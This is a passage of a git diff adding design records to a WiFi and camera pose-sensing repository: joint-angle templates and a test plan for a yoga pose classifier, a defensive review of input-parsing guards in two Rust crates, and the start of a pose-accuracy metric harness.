+  joint_targets: {
+    left_knee:    { angle_deg: 180, tolerance_deg: 10, weight: 1.0 },
+    right_knee:   { angle_deg: 180, tolerance_deg: 10, weight: 1.0 },
+    left_hip:     { angle_deg: 180, tolerance_deg: 12, weight: 0.8 },
+    right_hip:    { angle_deg: 180, tolerance_deg: 12, weight: 0.8 },
+    torso_lean:   { angle_deg:   0, tolerance_deg: 10, weight: 1.2 },
+    left_elbow:   { angle_deg: 180, tolerance_deg: 20, weight: 0.4 },
+    right_elbow:  { angle_deg: 180, tolerance_deg: 20, weight: 0.4 },
+  },
+  instruction: "Stand tall. Feet hip-width, weight even. Arms at sides. Lengthen through the crown.",
+}
+```
+
+**Stage 2 — Ūrdhva Hastāsana (Upward Salute)**
+
+Arms sweep overhead. Shoulders maximally abducted. Distinguishing feature: both elbows extended and arms overhead (shoulder angle approaches 180° abduction). Perez-Testor reports shoulder elevation of 183° at peak overhead position.
+
+```js
+{ id: "urdhva_hastasana", name_en: "Upward Salute", name_sa: "Ūrdhva Hastāsana", stage: 2,
+  min_hold_s: 2,
+  joint_targets: {
+    left_shoulder:  { angle_deg: 165, tolerance_deg: 20, weight: 1.2 },
+    right_shoulder: { angle_deg: 165, tolerance_deg: 20, weight: 1.2 },
+    left_elbow:     { angle_deg: 180, tolerance_deg: 15, weight: 0.8 },
+    right_elbow:    { angle_deg: 180, tolerance_deg: 15, weight: 0.8 },
+    left_knee:      { angle_deg: 180, tolerance_deg: 12, weight: 0.8 },
+    right_knee:     { angle_deg: 180, tolerance_deg: 12, weight: 0.8 },
+    torso_lean:     { angle_deg:   0, tolerance_deg: 15, weight: 0.7 },
+  },
+  instruction: "Inhale. Sweep arms overhead. Palms face each other. Gaze forward or slightly up.",
+}
+```
+
+**Stage 3 — Uttānāsana (Standing Forward Fold)**
+
+Deep hip flexion. Torso approaches vertical-inverted. Perez-Testor reports hip flexion of 134°. The angle at the hip joint as computed by our triplet (shoulder→hip→knee) goes to ~30° as the torso folds toward the legs. Knees remain extended.
+
+```js
+{ id: "uttanasana", name_en: "Standing Forward Fold", name_sa: "Uttānāsana", stage: 3,
+  min_hold_s: 3,
+  joint_targets: {
+    left_hip:    { angle_deg:  40, tolerance_deg: 25, weight: 1.2 },
+    right_hip:   { angle_deg:  40, tolerance_deg: 25, weight: 1.2 },
+    left_knee:   { angle_deg: 175, tolerance_deg: 15, weight: 1.0 },
+    right_knee:  { angle_deg: 175, tolerance_deg: 15, weight: 1.0 },
+    torso_lean:  { angle_deg:  85, tolerance_deg: 20, weight: 1.0 },
+  },
+  instruction: "Exhale. Fold forward from the hips. Let the crown of the head drop toward the floor.",
+}
+```
+
+**Stage 4 — Ardha Uttānāsana (Half Lift / Flat-Back)**
+
+Torso lifts to horizontal. Hip angle opens to ~90°. Spine neutral. This is the most distinctive pose for classification: it is the only one where the torso is neither upright nor fully folded — the `torso_lean` angle is ~90° and the hips are also ~90°. Perez-Testor reports the half-lift as an intermediate transition posture; the distinguishing cue is the simultaneous hip angle and spine neutral (not flexed).
+
+```js
+{ id: "ardha_uttanasana", name_en: "Half Lift", name_sa: "Ardha Uttānāsana", stage: 4,
+  min_hold_s: 2,
+  joint_targets: {
+    left_hip:    { angle_deg:  90, tolerance_deg: 20, weight: 1.2 },
+    right_hip:   { angle_deg:  90, tolerance_deg: 20, weight: 1.2 },
+    left_knee:   { angle_deg: 175, tolerance_deg: 12, weight: 0.8 },
+    right_knee:  { angle_deg: 175, tolerance_deg: 12, weight: 0.8 },
+    torso_lean:  { angle_deg:  90, tolerance_deg: 15, weight: 1.2 },
+    left_elbow:  { angle_deg: 180, tolerance_deg: 20, weight: 0.5 },
+    right_elbow: { angle_deg: 180, tolerance_deg: 20, weight: 0.5 },
+  },
+  instruction: "Inhale. Lift the chest. Flat back. Fingertips on the shins or floor. Gaze forward.",
+}
+```
+
+**Stage 5 — Catvāri / Chaturanga Daṇḍāsana (Four-Limbed Staff)**
+
+Plank lowered. Elbows at 90°. Body horizontal. This is the hardest pose to classify from a front-facing camera alone: the body is horizontal and the depth axis is ambiguous. The key discriminator is `elbow_angle ≈ 90°` combined with `hip ≈ 180°` (no flexion) and `torso_lean ≈ 90°`. Note: from a front-facing camera, a person in Chaturanga facing the camera appears foreshortened. yoga-mode accepts this limitation and primarily tracks Chaturanga as the transition between Ardha Uttanasana and Upward Dog in the sequence, with lower weight on spatial cues and higher weight on elbow angle. Iyengar geometry specifies elbows at 90° against the body.
+
+```js
+{ id: "chaturanga", name_en: "Four-Limbed Staff", name_sa: "Catvāri / Chaturanga Daṇḍāsana", stage: 5,
+  min_hold_s: 2,
+  joint_targets: {
+    left_elbow:   { angle_deg:  90, tolerance_deg: 20, weight: 1.5 },
+    right_elbow:  { angle_deg:  90, tolerance_deg: 20, weight: 1.5 },
+    left_hip:     { angle_deg: 175, tolerance_deg: 15, weight: 0.8 },
+    right_hip:    { angle_deg: 175, tolerance_deg: 15, weight: 0.8 },
+    left_knee:    { angle_deg: 175, tolerance_deg: 15, weight: 0.6 },
+    right_knee:   { angle_deg: 175, tolerance_deg: 15, weight: 0.6 },
+    torso_lean:   { angle_deg:  90, tolerance_deg: 20, weight: 0.7 },
+  },
+  instruction: "Lower down. Elbows at 90°, hugged to the ribs. Body in one straight line.",
+}
+```
+
+**Stage 6 — Ūrdhva Mukha Śvānāsana (Upward-Facing Dog)**
+
+Hips extend, spine extends (backbend), shoulders over wrists, knees off floor. Distinguishing feature: hips are near 160–180° (extended), which is the opposite of Uttanasana's deep flexion. The `torso_lean` reverses from ~90° horizontal to approaching 0° or slightly past vertical (slight backbend). Perez-Testor's spine extension of 44° is the reference for the backbend component; the hip angle opens to near-full extension.
+
+```js
+{ id: "urdhva_mukha_svanasana", name_en: "Upward-Facing Dog", name_sa: "Ūrdhva Mukha Śvānāsana", stage: 6,
+  min_hold_s: 2,
+  joint_targets: {
+    left_hip:     { angle_deg: 165, tolerance_deg: 20, weight: 1.2 },
+    right_hip:    { angle_deg: 165, tolerance_deg: 20, weight: 1.2 },
+    left_elbow:   { angle_deg: 170, tolerance_deg: 20, weight: 0.8 },
+    right_elbow:  { angle_deg: 170, tolerance_deg: 20, weight: 0.8 },
+    left_knee:    { angle_deg: 170, tolerance_deg: 20, weight: 0.6 },
+    right_knee:   { angle_deg: 170, tolerance_deg: 20, weight: 0.6 },
+    torso_lean:   { angle_deg:  15, tolerance_deg: 20, weight: 0.8 },
+  },
+  instruction: "Press the tops of the feet down. Lift the chest. Shoulders away from the ears. Gaze forward.",
+}
+```
+
+**Stage 7 — Adho Mukha Śvānāsana (Downward-Facing Dog)**
+
+Hips high. Inverted V. The most geometrically distinct pose in the sequence: high hips, extended knees, arms overhead-ish (shoulder angle ~150° relative to torso), torso_lean ~90° but in the opposite direction to Chaturanga (body weight shifted back over the heels). The hip angle as measured by our shoulder→hip→knee triplet is ~80–110° (the pelvis is high, creating a roughly right-angle fold at the hip). Perez-Testor reports the hip-angle transition from Chaturanga to Downward Dog as the largest single-frame angle change in the sequence (~120° excursion), making it the easiest pose to classify correctly.
+
+```js
+{ id: "adho_mukha_svanasana", name_en: "Downward-Facing Dog", name_sa: "Adho Mukha Śvānāsana", stage: 7,
+  min_hold_s: 5,
+  joint_targets: {
+    left_hip:     { angle_deg:  90, tolerance_deg: 25, weight: 1.2 },
+    right_hip:    { angle_deg:  90, tolerance_deg: 25, weight: 1.2 },
+    left_knee:    { angle_deg: 180, tolerance_deg: 15, weight: 1.0 },
+    right_knee:   { angle_deg: 180, tolerance_deg: 15, weight: 1.0 },
+    left_shoulder: { angle_deg: 150, tolerance_deg: 25, weight: 0.8 },
+    right_shoulder: { angle_deg: 150, tolerance_deg: 25, weight: 0.8 },
+    torso_lean:   { angle_deg:  90, tolerance_deg: 20, weight: 0.7 },
+  },
+  instruction: "Hips up and back. Heels reaching toward the floor. Arms and ears in one line. Breathe.",
+}
+```
+
+**Stage 8 — Uttānāsana (Standing Forward Fold, return)**
+
+Identical to stage 3 in geometry. Classified as stage 8 for sequence-tracking purposes only — same template joint targets, different `id` and `stage` value.
+
+```js
+{ id: "uttanasana_return", name_en: "Standing Forward Fold (return)", name_sa: "Uttānāsana", stage: 8,
+  min_hold_s: 2,
+  joint_targets: { /* same as stage 3 */ },
+  instruction: "Step or jump to the front. Exhale. Release the head. Return to stillness.",
+}
+```
+
+Distinguishing stages 3 and 8 is handled by the sequence-tracking layer, not by the classifier. If yoga-mode is in stage 7 (Downward Dog) and detects a forward-fold shape, it advances to stage 8 rather than regressing to stage 3. If yoga-mode is in stages 1–2 and detects a forward-fold shape, it advances to stage 3. The sequence tracks forward direction only; there is no backward regression in the first implementation.
+
+### 2.12 Test plan
+
+**Manual — live camera:**
+Stand in front of the workstation USB camera (ruvzen, confirmed front-facing in CLAUDE.local.md). Enable yoga-mode from `#helpers`. Cycle through all 8 poses in order. For each pose: verify the HUD shows the correct Sanskrit and English name within 2 frames (~67 ms) of entering the pose, the alignment score exceeds 60%, and the sequence strip advances. Verify no pose is misclassified when standing in a casual at-rest position (score should be below 40% floor for all 8 poses).
+
+**Synthetic — test mode triggered by `?test=1` URL parameter:**
+When `location.search` includes `test=1`, yoga-mode enters a headless test mode: instead of reading from `liveKp`, it reads from a pre-recorded `YOGA_TEST_FIXTURES` object — one synthetic landmark array per pose, generated at authoring time by capturing the real `liveKp` values during a manual demo session.
+
+```js
+if (new URLSearchParams(location.search).has('test')) {
+    for (const fixture of YOGA_TEST_FIXTURES) {
+        ingestPoseLandmarks(fixture.landmarks);
+        classifyPose();
+        const result = YogaMode.currentPose();
+        console.assert(result === fixture.expected_id,
+            `FAIL: ${fixture.expected_id} got ${result}`);
+    }
+    console.log('YogaMode tests complete');
+}
+```
+
+The fixture set is 8 entries (one per pose). Each entry is a hard-coded `landmarks` array of 33 objects with `{x, y, z, visibility}` values. These fixtures are inlined in the `<script>` block, gated behind `if (urlParams.has('test'))` so they are never executed in normal operation.
+
+**Negative test:** A ninth fixture entry with the user standing in a neutral at-rest position (arms at sides but knees slightly bent, casual posture — not a yoga pose). Assert `YogaMode.currentPose() === null` (no pose above the 0.40 floor).
+
+**Regression guard for joint-angle computation:** A tenth fixture that hard-codes known landmark positions forming a right angle at the left knee (three points forming a precise 90° angle). Assert `YogaMode.angles().left_knee` is within ±0.5° of 90.
+
+### 2.13 Rejected alternatives
+
+| Alternative | Rejected because |
+|---|---|
+| Train a custom MLP on a labelled yoga dataset | No labelled dataset in this codebase. Training requires hundreds of examples per class, a train/test pipeline, and a serialized model file — all incompatible with a single-file demo. Joint-angle matching achieves equivalent discrimination for 8 geometrically distinct poses with zero training data. |
+| Use a paid SaaS pose-classification API (e.g. a commercial yoga scoring cloud service) | Introduces an external network dependency, a per-request cost, and a privacy concern (camera frames leaving the browser). Pure client-side is a hard requirement. |
+| Ship audio/video instructional content (video of an instructor demonstrating each pose) | Massively increases the demo's asset footprint. A single instructor video per pose at 15 fps, 10 seconds, compressed, is ~500 KB × 8 = 4 MB minimum. The inline base64 bell (~12 KB) is the correct granularity of embedded media for this demo. |
+| Ship a backend yoga-tracking session record (store per-session completion data to a server) | No backend endpoint exists or is planned for the demos. Client-only; persistence via `localStorage`. |
+| Integrate with the Rust `pose_tracker.rs` now | Convention mismatch (BlazePose-33 vs COCO-17) documented in §1.3 but the cost of bridging it outweighs the benefit for a demo. The bridge is deferred: yoga-mode in JS is valuable without it. Rust integration becomes tractable once a WebSocket protocol for streaming joint angles (not raw CSI) from the sensing server is defined — a separate ADR. |
+| Use MediaPipe Tasks `PoseLandmarker` with a built-in `PoseClassifier` task | The Tasks API requires loading a `.task` bundle (~4 MB) from CDN at runtime. Demo 05 already uses the older `@mediapipe/pose@0.5` CDN script; switching APIs would require rewriting the entire landmark ingest pipeline. The classifier task is a black box undebuggable in DevTools. Threshold matching is fully transparent. |
+| Put yoga-mode on `data-theme` alongside adam-mode | yoga-mode is not a theme — it is a feature toggle. Mixing it with the theme attribute would prevent simultaneous adam-mode + yoga-mode activation and would conflate presentation with functionality. Separate `data-yoga="on"` attribute is the correct model. |
+
+---
+
+## 3. Consequences
+
+### 3.1 Positive
+
+- The retargeting pipeline in demo 05 gains a per-pose regression test harness (`?test=1`) at no additional tooling cost.
+- yoga-mode operates on the existing `liveKp` stream — zero additional CPU cost beyond a few arctangent calls per frame (~50 µs at 30 Hz).
+- The pose-scoring formula is fully deterministic and inspectable: `console.log(YogaMode.angles())` in DevTools shows every joint angle on every frame.
+- Demo 06 provides a clean instructional-first presentation that separates yoga-mode from the RF sensing visualisations, making the feature accessible to a fitness-context audience.
+- The `YogaMode.addPose()` API allows operators to extend the template library without touching core logic — enabling future pose sets (Warrior series, Yin postures) as a follow-on.
+- The `tolerance_scale` persistence allows the same demo codebase to serve both beginners (2× tolerance) and experienced practitioners (0.5× tolerance) without code changes.
+
+### 3.2 Negative
+
+- Two HTML files to maintain (`05` and `06`) where previously there was one. Mitigated by the fact that yoga-mode logic is identical between them — demo 06 is a layout variant, not a code fork.
+- Chaturanga Dandasana classification is inherently degraded from a front-facing camera (the body is horizontal; the depth axis is ambiguous). The classifier can detect the pose if the user faces the camera sideways (profile view), but the existing camera setup on ruvzen is front-facing. This is a known limitation, documented in the instruction text ("face the camera from the side for best Chaturanga detection").
+- The inline base64 bell WAV adds ~12 KB to the HTML file size. Negligible at the scale of the demo but noted.
+- `localStorage` namespace `ruview.yoga.*` adds four keys per origin. No conflict with `ruview.theme` from adam-mode.
+
+### 3.3 Risks
+
+| Risk | Likelihood | Mitigation |
+|---|---|---|
+| MediaPipe visibility scores are unreliable for floor-level landmarks (ankles, feet) during Dog poses | Medium | `effectiveWeight()` already masks low-visibility joints; Dog-pose templates weight knees (visible) more than ankles (may be occluded). |
+| The `?test=1` fixture landmarks become stale if the coordinate-space transform in `ingestPoseLandmarks()` changes | Low | Fixtures store raw `liveKp` world-space values, not normalized MediaPipe coords. If `ingestPoseLandmarks()` changes its output schema, the fixtures will produce obviously wrong joint angles in the assertion step — the failure is loud, not silent. |
+| Sequence-strip animation (CSS pulsing glow on the active stage) triggers repaint on every frame at 30 Hz | Low | The pulse is a CSS `animation` on `opacity` — composited by the GPU, no layout reflow. Negligible cost. |
+| User's camera position cuts off the hips (e.g. laptop on a desk) — `torso_not_visible` fires immediately | High for laptop use | The warning instructs the user to step back. This is the correct behaviour. Future: add a "camera too close" heuristic based on the ratio of shoulder distance to image width. |
+| Stage 8 (Uttanasana return) is classified identically to stage 3 by the angle classifier alone — the sequence layer must correctly disambiguate them | Medium | The sequence-tracking layer uses monotonic forward-only progression. Stage 3 can only fire when the current sequence position is 2 (after Urdhva Hastasana); stage 8 can only fire when the current sequence position is 7 (after Downward Dog). The classifier produces the angle score; the sequence layer decides which stage to credit. If the user skips a pose, the sequence layer waits — it does not leap to stage 8 from stage 2 even if a forward-fold shape is detected. |
+
+---
+
+## 4. Implementation plan
+
+Moderate scope — two HTML files, no build step, no new external dependencies.
+
+1. **Define the `YOGA_POSES` array** — 8 template objects as specified in §2.11, inline in the `<script>` block of demo 05.
+2. **Implement `computeJointAngles()`** — read from the existing `liveKp` array, fill a `yogaAngles` object using the 9 joint triplets in §2.2.
+3. **Implement `scorePose(template)`** — the weighted-sum formula from §2.4, respecting `effectiveWeight()` for visibility masking.
+4. **Implement `classifyPose()`** — argmax with K=6 debounce as in §2.5; call from the existing `requestAnimationFrame` loop after `applyRetargeting()`.
+5. **Add `#yoga-panel` markup and CSS** — bottom-centre panel, score ring, hold-time bar, instruction text, visibility warning. All styles via existing custom properties.
+6. **Add the sequence strip** — `#yoga-strip` top-centre, 8 flex slots, 3-state styling (dimmed/active/completed).
+7. **Wire the `#helpers` toggle** — `yoga-mode-toggle` checkbox and `yoga-mute-toggle` checkbox; `localStorage` persistence.
+8. **Add `YogaMode` object** — wrapping steps 1–7 with the API surface from §2.10.
+9. **Add `YOGA_TEST_FIXTURES` and the `?test=1` harness** — 10 fixture entries (8 positive, 1 negative, 1 angle-computation).
+10. **Create `06-yoga-mode.html`** — copy of demo 05 with CSI/tomography sections hidden, larger yoga panel layout.
+11. **Manual validation** — stand in front of ruvzen camera, cycle all 8 poses, verify classification and sequence advancement.
+
+Acceptance criteria:
+
+- All 8 poses classified correctly in the `?test=1` synthetic harness (assertions pass with no console errors).
+- The negative fixture (casual stand) produces `currentPose() === null`.
+- The angle-computation fixture (`left_knee` at a known 90°) asserts within ±0.5°.
+- Manual: each of the 8 Sun Salutation A poses classified within 2 frames when held correctly.
+- Alignment score exceeds 60% when the user matches the pose by self-assessment.
+- Sequence strip advances in order; completed poses show green checkmark.
+- Bell fires on completion (when unmuted).
+- adam-mode + yoga-mode simultaneously active: both panels visible, correct theme.
+- `localStorage` persists enabled-state and tolerance-scale across page reloads.
+
+---
+
+## 5. Related ADRs
+
+| ADR | Relationship |
+|---|---|
+| [ADR-169](ADR-169-adam-mode-light-theme.md) | Sibling demo-side feature. yoga-mode toggle lives in the same `#helpers` panel. Both are orthogonal and must compose. |
+| [ADR-019](ADR-019-sensing-only-ui-mode.md) | Sensing-only UI — yoga-mode is the opposite: camera-first, sensing secondary. |
+| [ADR-035](ADR-035-live-sensing-ui-accuracy.md) | Live sensing UI accuracy norms. yoga-mode scores the user's body against templates, not CSI accuracy — but the same principle of not misrepresenting measurement quality applies. |
+| [ADR-014](ADR-014-sota-signal-processing.md) | The Rust-side `gesture.rs` uses DTW for gesture recognition. yoga-mode explicitly rejects DTW for static pose classification (§2.2). The two systems are complementary: DTW for motion gestures, angle-threshold for static poses. |
+| [ADR-029](ADR-029-ruvsense-multistatic-sensing-mode.md) | The Rust `pose_tracker.rs` (COCO-17) that yoga-mode defers integrating with. The COCO↔BlazePose mapping in §1.3 is the foundation for the future bridge. |
+
+---
+
+## 6. References
+
+### Production code
+- `examples/three.js/demos/05-skinned-realtime.html` — primary implementation target; `liveKp`, `liveVis`, `ingestPoseLandmarks()`, `#helpers`, `#pose-panel`, `RETARGETS`, `visForRetarget()` are all anchors for yoga-mode integration
+- `examples/three.js/demos/04-skinned-fbx.html` — sibling demo; lighting reference
+- `v2/crates/wifi-densepose-signal/src/ruvsense/pose_tracker.rs` — Rust COCO-17 tracker; convention mapping in §1.3 of this ADR targets this module
+
+### External references
+
+1. **Perez-Testor, S. et al. (2019).** "Kinematics of Suryanamaskar Using Three-Dimensional Motion Capture." *PMC6521759*. 10 trained practitioners, 12-camera Vicon, 100 Hz, sagittal-plane joint angles for each of the 12 standard Surya Namaskar positions. Primary source for angle targets and tolerance bounds in §2.11.
+
+2. **Chidamber, S. and Harikumar, K. (2023).** "A novel approach for yoga pose estimation based on in-depth analysis of human body joint detection accuracy." *PMC10280249*. Validates joint-angle threshold matching as the dominant reliable real-time method for small-to-medium yoga pose sets; reports average inter-joint angle error of 10.017° across six common daily poses — the empirical basis for the ±10–25° tolerance bands in the templates.
+
+3. **Lugaresi, C. et al. (2020 / MediaPipe team).** "On-device, Real-time Body Pose Tracking with MediaPipe BlazePose." Google Research Blog and arXiv:2006.10204. Defines the 33-landmark BlazePose topology used throughout §1.3 and §2.2. Confirms the landmark visibility score semantics used in §2.7.
+
+4. **Google ML Kit team.** "Pose classification options." developers.google.com/ml-kit/vision/pose-detection/classifying-poses. Documents the `PoseClassifier` EfficientNet approach that this ADR rejects in §2.13; the 60% alignment threshold in §2.4 is consistent with the sample thresholds in this guide.
+
+5. **Iyengar, B.K.S. (2001).** *Light on Yoga* (Schocken Books, revised edition). Chaturanga Dandasana description pp. 102–104: "elbows at right angles along the body" — the 90° elbow target for stage 5. Tadasana pp. 61–63: anatomical position as baseline. The Iyengar descriptions supply angle targets where Perez-Testor's Vicon study does not explicitly report a joint.

docs/adr/ADR-171-swarm-benchmarking-evaluation-methodology.md

@@ -1,4 +1,4 @@
-# ADR-149: Drone Swarm Benchmarking & Evaluation Methodology — Metrics, Leaderboards, and Statistical Rigor
+# ADR-171: Drone Swarm Benchmarking & Evaluation Methodology — Metrics, Leaderboards, and Statistical Rigor
 
 | Field      | Value                                                                                   |
 |------------|-----------------------------------------------------------------------------------------|

docs/adr/ADR-172-cli-core-csi-deserialiser-security-review.md

@@ -0,0 +1,117 @@
+# ADR-172: `wifi-densepose-cli` + `wifi-densepose-core` CSI-Deserialiser Security Review
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — clean-with-evidence, 4 regression pins added |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **CSI-DESERIALISER-HARDENING** |
+| **Supersedes / amends** | none (records review; references ADR-127 §9 for the `core` portion, ADR-136 for the pre-existing DoS ACs) |
+
+## Context
+
+The beyond-SOTA security sweep (branch `feat/v2-beyond-sota-sweep`) reviewed each
+`v2/` crate for real, reproducible defects. Two crates had no prior dedicated
+security ADR:
+
+- **`wifi-densepose-core`** — the dependency root for all 12 downstream crates
+  (types, traits, error types, CSI frame primitives). A defect here is a
+  force-multiplier: every consumer inherits it.
+- **`wifi-densepose-cli`** — the user-facing entrypoint
+  (`calibrate`/`calibrate-serve`/`enroll`/`train-room`/`room-watch` + MAT-gated),
+  which parses untrusted UDP CSI packets and operator-supplied paths.
+
+A **specific hypothesis** motivated the core review. Three earlier reviews in
+this campaign found a systemic **NaN-state-poisoning bug class** in crates that
+depend on core (`wifi-densepose-calibration`, `-vitals`, `-geo`): a non-finite
+(NaN/Inf) input latched into persistent filter/accumulator state (IIR `y1/y2`,
+running mean, Welford/von-Mises accumulator, voxel grid) → silent **permanent**
+feature failure. The load-bearing question for this review: **does that bug class
+originate in a shared `wifi-densepose-core` primitive** (making the right fix a
+single root fix), or was it independently re-implemented in each downstream
+crate (making the three existing local fixes complete)?
+
+## Decision
+
+Record the review outcome and lock in the existing DoS guards with regression
+tests. **No production code is changed** — both crates were already hardened
+(ADR-136 acceptance criteria + `sanitize_room_id`); the gap was *untested*
+guards, which a future refactor could silently remove.
+
+### Load-bearing question — VERDICT: **NO** (the NaN class does not live in core)
+
+`wifi-densepose-core` exposes **no stateful accumulator of any kind** — no
+Welford/running-mean, no von-Mises/circular-mean, no IIR/biquad filter state, no
+voxel grid.
+
+- **MEASURED:** `grep` over `core/src` for
+  `welford|von_mises|biquad|y1|y2|running_mean|accumulat|voxel|self.*+=` matched
+  only the `InvalidState` *error* enum variant, "reset state" doc comments, and a
+  test-only LCG — **zero** stateful logic. The only float math in core is
+  construction-time projection (`CsiFrame::new` → amplitude/phase via `mapv`) and
+  pure stateless `utils` functions; nothing persists across frames.
+- **Corroboration:** `wifi-densepose-calibration::Features::from_series`
+  (`extract.rs:103–133`) already filters non-finite samples → `Features::ZERO`.
+  The downstream fixes are independently re-implemented, confirming each crate
+  rolls its own accumulator and each local fix is correct and complete. **A fix
+  in core would be a no-op (there is nothing to fix).**
+
+Consequence: the NaN-state-poisoning class is a *downstream-local* pattern, not a
+core-rooted defect. No hidden fourth instance exists in the shared primitive.
+
+### Findings (all pins — guards already present, now tested)
+
+| # | Location | Guard (pre-existing) | Regression pin | Evidence (MEASURED) |
+|---|----------|----------------------|----------------|---------------------|
+| 1 | `core` `types.rs:801` `from_canonical_bytes` | `saturating_mul` shape-vs-length check before `Vec::with_capacity(rows*cols)` | `canonical_decode_oversized_shape_is_bounded_not_allocated` | With guard removed: **panics `capacity overflow` at `types.rs:801`**; with guard: passes |
+| 2 | `core` `types.rs` decoder | typed `CanonicalDecodeError`, never panics | `canonical_decode_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary bytes |
+| 3 | `cli` `calibrate.rs:276–291` | length check `buf.len() < 20 + n_pairs*2` before `Array2::zeros(n_antennas*n_subcarriers)` | `test_parse_csi_packet_oversized_claim_is_rejected_not_allocated` | 255×65535 claim in a 2 KB packet → `None` (no allocation) |
+| 4 | `cli` `calibrate.rs` parser | `None`-returning on malformed input | `test_parse_csi_packet_never_panics_on_arbitrary_bytes` (fuzz sweep) | panic-free on arbitrary UDP bytes |
+
+### Dimensions confirmed clean (with evidence)
+
+1. **Panic-on-adversarial-input = 0** — `from_canonical_bytes` returns a typed
+   error for every malformed class; `parse_csi_packet` returns `None`. Both
+   fuzz-swept panic-free.
+2. **NaN handling** — `Confidence::new` rejects NaN
+   (`!(0.0..=1.0).contains(&NaN)` ⇒ `Err`); `compute_bounding_box` /
+   `to_flat_array` are NaN-tolerant (f32 min/max ignore NaN).
+3. **Empty-frame safety** — `amplitude_variance` / `mean_amplitude` are
+   panic-free on an empty `Array2` (ndarray 0.17 returns finite / `None`).
+4. **Unbounded-memory DoS** — bounded in both deserialisers (findings 1 & 3).
+5. **Path traversal** — `calibrate-serve` defends every client-supplied
+   `room_id`/`bank`/`baseline` via `sanitize_room_id` (`[A-Za-z0-9_-]`, 64-char
+   cap) with existing tests; bearer-auth gate + non-loopback-bind warning present.
+   `mat export` writes to an operator-supplied `PathBuf` (acceptable CLI behavior).
+6. **Secrets** — `--token` is read from `CALIBRATE_TOKEN` env, never embedded.
+
+## Validation
+
+- `cargo test -p wifi-densepose-core` → **35 → 37** lib passed, 0 failed (+3 doctests)
+- `cargo test -p wifi-densepose-cli --no-default-features` → **24 → 26** passed, 0 failed
+- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed
+- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
+  `f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` **unchanged**
+  (core/cli are off the signal proof path — confirms no pipeline alteration)
+
+## Consequences
+
+### Positive
+- Two CSI deserialisers (the untrusted-input boundary of both the library root
+  and the network-facing CLI) now have their DoS guards pinned against
+  regression — a future refactor that drops a length check fails CI.
+- The NaN-state-poisoning class is settled as downstream-local; reviewers no
+  longer need to suspect a shared-root defect, and the three prior local fixes
+  are confirmed complete.
+
+### Negative
+- None. Test-only change; no behavior or API change.
+
+### Neutral
+- The `core` portion is also noted in ADR-127 §9 (shared security-review log);
+  this ADR is the canonical record for the `wifi-densepose-cli` review.
+
+## Links
+- ADR-127 — HOMECORE state machine (shared security-review log, §9)
+- ADR-136 — pre-existing CSI deserialiser DoS acceptance criteria
+- ADR-151 — per-room calibration (`calibrate`/`calibrate-serve` surfaces)

docs/adr/ADR-173-metric-locked-pck-mpjpe-accuracy-harness.md

@@ -0,0 +1,123 @@
+# ADR-173: Metric-Locked PCK/MPJPE Accuracy Harness
+
+| Field | Value |
+|-------|-------|
+| **Status** | Accepted — implemented, deterministically tested |
+| **Date** | 2026-06-15 |
+| **Deciders** | ruv |
+| **Codename** | **METRIC-LOCK** |
+| **Amends** | ADR-155 (generalizes the torso-only `metrics_core::pck_canonical` to a selectable normalization) |
+| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (PR #1090) |
+
+## Context
+
+The beyond-SOTA SOTA-research brief (PR #1090) identified the single biggest
+threat to any "beyond-SOTA" accuracy claim this project makes: **metric
+ambiguity**. Three PCK@20 numbers circulate, computed under three *different and
+unstated* normalizations, so they cannot be compared:
+
+- **96.09–96.61%** — WiFlow-STD reproduction, **image/bounding-box-normalized** PCK (the looser convention).
+- **81.63%** — an internal MM-Fi number reported as **"torso-PCK"** (tighter).
+- **61.1%** — GraphPose-Fi (arXiv 2511.19105), **standard torso-diameter** PCK on the MM-Fi random split (the academic frontier).
+
+The project has been burned by this twice: a previously-published 92.9% was
+retracted because it used **absolute-pixel** normalization, not torso. Until
+there is *one canonical, documented, tested* PCK definition — and every reported
+number carries the definition it was computed under — no accuracy comparison is
+credible, and the "prove everything" bar cannot be met for the benchmark half of
+the work.
+
+This is measurement infrastructure, not an accuracy claim. The deliverable's job
+is to make the metric **unambiguous and reproducible**, so future numbers are
+comparable and an unlabeled PCK is structurally impossible.
+
+## Decision
+
+Add a metric-locked accuracy harness as a new module
+`v2/crates/wifi-densepose-train/src/accuracy.rs` (404 non-test lines; inline
+deterministic tests bring the file to 708), re-exported at the crate root. It
+**extends, not duplicates** — it reuses `metrics_core`'s geometric primitives
+(`bounding_box_diagonal`, canonical hip indices `CANON_LEFT_HIP/RIGHT_HIP`), so
+there remains exactly one implementation of each geometric reference; the
+existing ADR-155 `pck_canonical` (torso-only) is unchanged and this generalizes
+it.
+
+### Public API
+
+- `enum PckNormalization { TorsoDiameter, BoundingBoxDiagonal, AbsolutePixels(f32) }`
+  — the three conventions the three historical numbers used, now **explicit and
+  selectable**. `.label()` / `.tolerance(...)`.
+- `pck_at(pred, gt, vis, k, norm) -> (correct, total, pck)` — PCK@k =
+  fraction of *visible* keypoints whose predicted-vs-GT distance ≤ the tolerance,
+  where tolerance = `k%` of the chosen normalizer (or an absolute threshold for
+  `AbsolutePixels`).
+- `mpjpe(pred, gt, vis) -> f32` — mean per-joint position error (2D/3D, coordinate
+  units; mm for mm inputs). Re-exported crate-root as `pck_mpjpe` to avoid
+  colliding with the existing `eval::mpjpe`.
+- `struct PoseAccuracy { pck_at: BTreeMap<u8,f32>, mpjpe, normalization, n_keypoints, n_frames }`
+  — **a reported number always carries its `normalization`**; an unlabeled PCK is
+  structurally impossible to produce through this surface.
+- `struct PoseFrame { pred, gt, visibility }` + `accuracy_report(frames, ks, norm) -> PoseAccuracy`
+  (micro-averaged over keypoints).
+
+### Correctness is proven by hand-computed deterministic tests (no GPU, no data)
+
+The tests construct synthetic keypoint sets whose PCK/MPJPE can be computed by
+hand, and assert the harness matches. Highlights (all pass):
+
+| Test | Construction | Expected |
+|------|--------------|----------|
+| perfect_prediction | pred==gt | PCK=1.0 (all 3 norms), MPJPE=0 |
+| all_just_outside | every error just past τ@20 | PCK=0.0 |
+| half_in_half_out | 2 exact, 2 just outside | PCK=0.5 |
